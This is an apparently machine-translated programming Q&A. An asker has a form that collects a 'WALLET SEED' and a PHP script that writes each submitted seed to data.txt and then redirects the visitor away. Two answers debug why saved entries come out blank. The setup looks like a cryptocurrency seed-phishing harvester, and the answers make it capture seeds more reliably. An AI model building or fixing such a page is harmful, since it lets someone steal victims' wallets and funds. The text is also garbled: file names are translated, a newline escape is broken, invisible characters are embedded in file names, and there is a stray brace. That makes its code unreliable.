PHP $_Post 随机停止工作



Ive a form

<form action="welcome.php" method="post" ........................">
<button id=......................ERATE NEW SEED</button>
<br/><br/>
<div class="form-field">
<label for...............">WALLET SEED</label>
<br/>
<textarea id=...........................="false"></textarea>
<span class="clipSp............ successfully copied to clipboard" ></span>
<br/>
</div>
<br/>
<div clas..........content">
<div>ADDRESS
<br/>
<span>{{vm.displayAddress}}</span>
</div>
</div>
<button class="wButton fade" type="submit">REGISTER ACCOUNT</button>
<span class="divider-2"></span>
<button class="wButton fade" type="reset" ng-click="vm.back()">BACK</button>
.
.
.
.

然后我有这个"欢迎.php"文件。

<?php
$var = $_POST['formdesiredpost'];
file_put_contents("data.txt", $var . "n", FILE_APPEND);
header("Location: https://randomwebsiteredirect.com");
exit();
?>

它应该将所需的值从表单(文本区域(发布到 txt 文件、数据中.txt . 但问题是它是随机工作的。有时它有效,有时它只是在 data.txt 文件中创建一个新行,没有文本。 我认为这可能是 cookie 问题,使用隐身模式(谷歌浏览器(可以提高准确性,但有时仍然失败,在数据.txt文件中创建空行

我想补充一点,如果我将所有内容删除到数据.txt文件中,那么我会尝试再次提交表单。它又开始工作了。但只有 2-4 次提交,然后它停止发布,并且每次有人发布内容时,它只会在数据.txt文件中创建新的空行。

您的代码将在每种条件下执行,即使$_POST['formdesiredpost']中的数据为空。因此,当$_POST['formdesiredpost']空代码时,在文件中创建新行。

如果您不想添加新行空行,则应先检查空。

if(!empty($_POST['formdesiredpost'])){
$var  = $_POST['formdesiredpost'];
file_put_contents("dat‌​a.txt", $var . "n", FILE_APPEND); 
header("Location: https://randomwebsiteredirect.com"); 
exit();
}

首先进行空检查。因为每次您的帖子数据都会创建空文件

$var  = $_POST['formdesiredpost'];
if(!empty($var))
file_put_contents("dat‌​a.txt", $var . "n", FILE_APPEND); 
header("Location: https://randomwebsiteredirect.com"); 
exit();
}

最新更新